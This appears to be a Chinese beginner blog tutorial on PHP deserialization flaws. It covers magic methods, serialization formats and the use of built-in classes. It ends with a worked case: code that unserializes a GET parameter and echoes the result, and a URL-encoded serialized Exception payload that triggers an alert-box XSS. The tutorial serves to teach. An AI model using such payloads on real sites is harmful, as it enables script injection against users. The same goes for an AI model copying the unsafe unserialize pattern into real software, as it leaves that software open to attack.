PHP反序列化漏洞(入门)-魔术方法+原生类

魔术方法利用点分析演示:

触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法。

 

魔术方法:

__construct():      //构造函数,当对象new的时候会自动调用

__destruct():     //析构函数当对象被销毁时会被自动调用

__wakeup():         //unserialize()时会被自动调用

__invoke():           //当尝试以调用函数的方法调用一个对象时,会被自动调用

__call():                //在对象上下文中调用不可访问的方法时触发

__callStatci():      //在静态上下文中调用不可访问的方法时触发

__get():                //用于从不可访问的属性读取数据

__set():                //用于将数据写入不可访问的属性

__isset():             //在不可访问的属性上调用isset()或empty()触发

__unset():           //在不可访问的属性上使用unset()时触发

__toString():       //把对象当作字符串使用时触发

__sleep():            //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用

魔术方法功能演示:

__construct()魔术方法:

     实例化对象时被调用.其作用是拿来初始化一些值。

__destruct()魔术方法:

     当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。

实列化对象,主动销毁:

PHP反序列化漏洞(入门)-魔术方法+原生类_第1张图片

主动销毁执行顺序:先调用销毁方法在结束程序

PHP反序列化漏洞(入门)-魔术方法+原生类_第2张图片

自动销毁:

PHP反序列化漏洞(入门)-魔术方法+原生类_第3张图片

自动销毁执行顺序:先结束程序再调用销毁方法

PHP反序列化漏洞(入门)-魔术方法+原生类_第4张图片

__toString()魔术方法:在对象当做字符串的时候会被调用

把对象当作字符串输出

PHP反序列化漏洞(入门)-魔术方法+原生类_第5张图片

就会调用__toString()函数

__CALL ()魔术方法:

        调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用__call函数。

方法存在:

PHP反序列化漏洞(入门)-魔术方法+原生类_第6张图片

正常调用

PHP反序列化漏洞(入门)-魔术方法+原生类_第7张图片

方法不存在:

PHP反序列化漏洞(入门)-魔术方法+原生类_第8张图片

调用__call()函数

PHP反序列化漏洞(入门)-魔术方法+原生类_第9张图片

__get() 魔术方法:

       读取一个对象的属性时,若属性存在,则直接返回属性值;若不存在,则会调用__get()函数

属性存在:

PHP反序列化漏洞(入门)-魔术方法+原生类_第10张图片

返回属性值

属性不存在:

PHP反序列化漏洞(入门)-魔术方法+原生类_第11张图片

调用__get函数

PHP反序列化漏洞(入门)-魔术方法+原生类_第12张图片

__set()魔术方法:

    设置一个对象的属性时, 若属性存在,则直接赋值;若不存在,则会调用__set函数。

属性存在:

PHP反序列化漏洞(入门)-魔术方法+原生类_第13张图片

直接赋值

属性不存在:

PHP反序列化漏洞(入门)-魔术方法+原生类_第14张图片

调用__set函数

PHP反序列化漏洞(入门)-魔术方法+原生类_第15张图片

__sleep()魔术方法:serialize之前被调用,可以指定要序列化的对象属性。

不使用序列化:

PHP反序列化漏洞(入门)-魔术方法+原生类_第16张图片

不会调用__sleep()

使用了序列化:

PHP反序列化漏洞(入门)-魔术方法+原生类_第17张图片

调用__sleep()函数

PHP反序列化漏洞(入门)-魔术方法+原生类_第18张图片

__wakeup()魔术方法:反序列化恢复对象之前调用该方法

使用了反序列化:

PHP反序列化漏洞(入门)-魔术方法+原生类_第19张图片

调用__wakeup()函数

__isset()魔术方法:

      检测对象的某个属性是否存在时执行此函数。当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用

对不可访问属性(private私有属性)调用isset():

PHP反序列化漏洞(入门)-魔术方法+原生类_第20张图片

就会调用__isset()函数

PHP反序列化漏洞(入门)-魔术方法+原生类_第21张图片

对可被访问属性调用isset():

PHP反序列化漏洞(入门)-魔术方法+原生类_第22张图片

不会调用__isset()函数

__unset()魔术方法:

        在不可访问的属性上使用unset()时触发 销毁对象的某个属性时执行此函数

对象变量属性:

        public(公有的):在本类内部、外部类、子类都可以访问

        protect(受保护的):只有本类或子类或父类中可以访问

        private(私有的):只有本类内部可以使用

对三个属性使用unset():

PHP反序列化漏洞(入门)-魔术方法+原生类_第23张图片

只调用了两次__unset()因为有一次是可访问属性(public公有属性)

PHP反序列化漏洞(入门)-魔术方法+原生类_第24张图片

__invoke()魔术方法:将对象当做函数来使用时执行此方法,通常不推荐这样做。

把对象当作函数引用:

PHP反序列化漏洞(入门)-魔术方法+原生类_第25张图片

就会自动调用__invoke()函数

PHP反序列化漏洞(入门)-魔术方法+原生类_第26张图片

不同变量属性导致序列化数据显示不同:

private属性:序列化的时候格式是%00类名%00成员名

protect属性:序列化的时候格式是%00*%00成员名

 

 

public private protected序列化格式说明:

PHP反序列化漏洞(入门)-魔术方法+原生类_第27张图片

序列化格式

PHP反序列化漏洞(入门)-魔术方法+原生类_第28张图片

PHP原生类

     原生类就是php内置类,不用定义php自带的类,即不需要在当前脚本写出,但也可以实例化的类

魔术方法的原生类

执行代码查看:

$classes = get_declared_classes();

foreach ($classes as $class) {

    $methods = get_class_methods($class);

    foreach ($methods as $method) {

        if (in_array($method, array(

            '__destruct',

            '__toString',

            '__wakeup',

            '__call',

            '__callStatic',

            '__get',

            '__set',

            '__isset',

            '__unset',

            '__invoke',

            '__set_state'

        ))) {

            print $class . '::' . $method . "\n";

        }

    }

}

案例:原生类实现xss弹窗

案例代码:

highlight_file(__file__);

$a = unserialize($_GET['k']);

echo $a;

?>

1.分析代码可知:$a对象被当作字符串输出。

因为__toString()魔术方法是在把对象当做字符串使用的时候会被调用,所以这里会触发__toString()魔术方法

但是因为代码里面没有__toString()魔术方法,所以可以考虑使用__toString()的原生类实现xss弹窗

2.执行查看原生类的代码,查看__toString()原生类

只查看__toString(),所以注释其他

PHP反序列化漏洞(入门)-魔术方法+原生类_第29张图片

执行查看

PHP反序列化漏洞(入门)-魔术方法+原生类_第30张图片

3.浏览器搜索:利用php原生类进行xss。

成功获取到构造代码:https://www.anquanke.com/post/id/264823#h3-8

代码:

$a=new Exception("");

echo urlencode(serialize($a));

?>

4.利用浏览器php在线执行网站,执行代码获取poc

poc:

O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A35%3A%22%3Cscript%3Ealert%28%27xiaoheizi%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A3%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

PHP反序列化漏洞(入门)-魔术方法+原生类_第31张图片

5.案例页面传递参数值为poc,成功xss弹窗

PHP反序列化漏洞(入门)-魔术方法+原生类_第32张图片

你可能感兴趣的:(反序列化漏洞合集,php,安全,web安全,网络安全)